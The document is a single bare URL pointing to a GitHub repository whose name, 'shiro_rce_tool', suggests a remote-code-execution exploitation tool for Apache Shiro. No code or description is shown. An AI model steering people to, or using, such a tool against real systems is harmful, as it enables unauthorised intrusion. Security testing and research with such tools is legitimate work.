https://github.com/wyzxxz/shiro_rce_tool